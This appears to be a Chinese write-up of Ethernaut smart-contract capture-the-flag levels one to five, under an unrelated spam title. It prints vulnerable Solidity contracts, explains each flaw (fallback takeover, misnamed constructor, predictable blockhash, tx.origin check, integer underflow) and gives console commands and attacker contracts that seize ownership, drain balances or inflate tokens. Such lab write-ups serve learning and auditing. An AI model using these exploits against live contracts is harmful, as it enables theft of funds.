湖南智能网站建设费用/哪里有永久免费建站
0x1
Ethernaut是一个类似于VULHUB的集成了众多存在安全问题的智能合约靶场,适合智能和合约的开发人员审计人员进行学习
平台地址 https://ethernaut.openzeppelin.com/
在线调试IDE http://remix.ethereum.org/
0x2 开始前的准备
使用谷歌浏览器在拓展商店,安装MetaMask钱包

自行注册钱包账号以后,将网络切换到Ropsten测试网络

获取测试网络以太币 https://faucet.metamask.io/
获取一个以太币

保证钱包里面是有钱的,要不然是做不了题目的

0关是教程,熟悉用控制台操作,这里不详述了,有兴趣的自己去看
我们直接从第一关开始:
源代码
pragma solidity ^0.4.18;contract Fallback{using SafeMath for uint256;mapping(address => uint) public contributions;//构造函数,给创造者1000个eth的代币function Fallback() public {contributions[msg.sender] = 1000 * (1 ether);}//每次转账只能小于0.001个eth,转多少个eth,就增加同额度的代币,代币最多的人合约所有权function contribute() public payable {require(msg.value < 0.001 ether);contributions[msg.sender] = contributions[msg.sender].add(msg.value);if(contributions[msg.sender] > contributions[owner]) {owner = msg.sender;}}//获取代币的余额function getContribution() public view returns (uint) {return contributions[msg.sender];}//取走ETHfunction withdraw() public onlyOwner {owner.transfer(this.balance);}//fallback函数,用于接收用户向合约发送的代币,如果转入的金额和代币的金额不等于0,将获得合约所有权function() payable public {require(msg.value > 0 && contributions[msg.sender] > 0);owner = msg.sender;}
}
题目要求
- 您要求合同所有权
- 您将其余额减少到0
分析源代码有两个方式可以,获取合约的所有权
一是contribute函数,每次转账转0.001个eth,然后转1000个就可以得到了,差不多要1000000,且不说手续费,要时间都要转几天
二就是通过 fallback函数,如果转入的金额和代币的金额不等于0,将获得合约所有权
要调用fallback函数,只需要向合约地址转账就可以了
contract.contribute({value:1})//调用合约中contribute函数,转账,增加一个代币
contract.sendTransaction({value:1}) //触发fallback函数
contract.owner() 查看合约所有者

到现在合约所有者地址已经变成我们的地址了
contract.withdraw() //调用函数取款

合约余额为0

点击提交,即可进入下一关

第二关
关卡要求:
要求获取合约所有权
源代码
pragma solidity ^0.4.18;import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';contract Fallout is Ownable {using SafeMath for uint256;mapping (address => uint) allocations;//Fal1out中的中的第二个l,实际上是一,所以并不是析构函数,可以直接调用function Fal1out() public payable {owner = msg.sender;allocations[owner] = msg.value;}//接受转账函数,增加同等代币function allocate() public payable {allocations[msg.sender] = allocations[msg.sender].add(msg.value);}//转账函数,往地址转代币function sendAllocation(address allocator) public {require(allocations[allocator] > 0);allocator.transfer(allocations[allocator]);}//取款function collectAllocations() public onlyOwner {msg.sender.transfer(this.balance);}//查询代币余额function allocatorBalance(address allocator) public view returns (uint) {return allocations[allocator];}
}
整个源代码涉及owner的,只有Fal1out构造函数,而且函数修饰符为public,可以直接调用
contract.Fal1out()

owner已经变成我们的地址了,过关!
第三关
要求
这是一个抛硬币游戏,你需要通过猜测抛硬币的结果来建立你的连胜。
要完成这一关,你需要用你的通灵能力连续猜10次正确的结果。
源码
pragma solidity ^0.4.18;import 'openzeppelin-solidity/contracts/math/SafeMath.sol';contract CoinFlip {using SafeMath for uint256;uint256 public consecutiveWins;uint256 lastHash;uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;//构造函数,设置猜对次数为0function CoinFlip() public {consecutiveWins = 0;}//获取上一个区块的hash,blockValue/FACTR,得到1或者0,然后和我们猜测的结果进行比较,如果猜对了,consecutiveWins+1,如果错了consecutiveWins清零function flip(bool _guess) public returns (bool) {uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));if (lastHash == blockValue) {revert();}lastHash = blockValue;uint256 coinFlip = blockValue.div(FACTOR);bool side = coinFlip == 1 ? true : false;if (side == _guess) {consecutiveWins++;return true;} else {consecutiveWins = 0;return false;}}
}
问题的关键是前一个区块的hash,前一个区块的值确实是随机的,但是因为一个块当然并不只有一个交易,所以我们完全可以先运行一次这个算法,看当前块下得到的coinflip是1还是0然后选择对应的guess
不过因为块之间的间隔也只有10s左右,要手工在命令行下完成这一系列操作还是有点困难,所以我们这里选择在链上另外部署一个合约来完成这个操作,要用魔法来打败魔法,可以用在线IDE部署
pragma solidity ^0.4.18;contract CoinFlip {uint256 public consecutiveWins;uint256 lastHash;uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;function CoinFlip() public {consecutiveWins = 0;}function flip(bool _guess) public returns (bool) {uint256 blockValue = uint256(block.blockhash(block.number-1));if (lastHash == blockValue) {revert();}lastHash = blockValue;uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);bool side = coinFlip == 1 ? true : false;if (side == _guess) {consecutiveWins++;return true;} else {consecutiveWins = 0;return false;}}
}contract exp {CoinFlip fliphack;address target = 这里是靶机合约的地址;uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;function exp() {fliphack = CoinFlip(target);}function pre_result() public view returns (bool){uint256 blockValue = uint256(block.blockhash(block.number-1));uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);return coinFlip == 1 ? true : false;}function hack() public {bool guess = pre_result();fliphack.flip(guess);}
}
部署exp类

一直调用hack方法,直到contract.consecutiveWins()等于10

过关

第四关
要求获得合约所有权
源码
pragma solidity ^0.4.18;contract Telephone {address public owner;function Telephone() public {owner = msg.sender;}function changeOwner(address _owner) public {if (tx.origin != msg.sender) {owner = _owner;}}
}
这题一眼就能看出来只要tx.origin != msg.sender
,就能获得所有权
tx.origin是交易发送者
msg.sende是消息发送者
一般情况下是相等的,但是如果和上题一样,通过一个合约来调用另一个合约,这两个就是不相等了,tx为我们的地址,msg为中间合约的地址
在IDE上测试一下
pragma solidity ^0.4.18;contract Telephone {address public owner;function Telephone() public {owner = msg.sender;}function changeOwner(address _owner) public {if (tx.origin != msg.sender) {owner = _owner;}}
}contract exp{Telephone expTelephone;function exp() public{expTelephone = Telephone(合约的地址);expTelephone.changeOwner(你的钱包的地址);}
}
部署exp类,部署成功就攻击成功了

第五关:
要求
你有20个代币开始,如果你设法得到任何额外的代币,你将超过这一水平。
最好是大量的令牌
源码
pragma solidity ^0.4.18;contract Token {mapping(address => uint) balances;uint public totalSupply;function Token(uint _initialSupply) public {balances[msg.sender] = totalSupply = _initialSupply;}//转账函数function transfer(address _to, uint _value) public returns (bool) {require(balances[msg.sender] - _value >= 0);balances[msg.sender] -= _value;balances[_to] += _value;return true;}//查询代币余额function balanceOf(address _owner) public view returns (uint balance) {return balances[_owner];}
}
这里的所有整数变量都是由uint修饰的,代表无符号整数,所以当转21的时候则会发生下溢,导致数值变大其数值为2^256 - 1
contract.transfer(0x80C2d71F2Ac4E53F6ddD25b25c57ecB48Ac73857,21)
现在在看我们的代币

过关!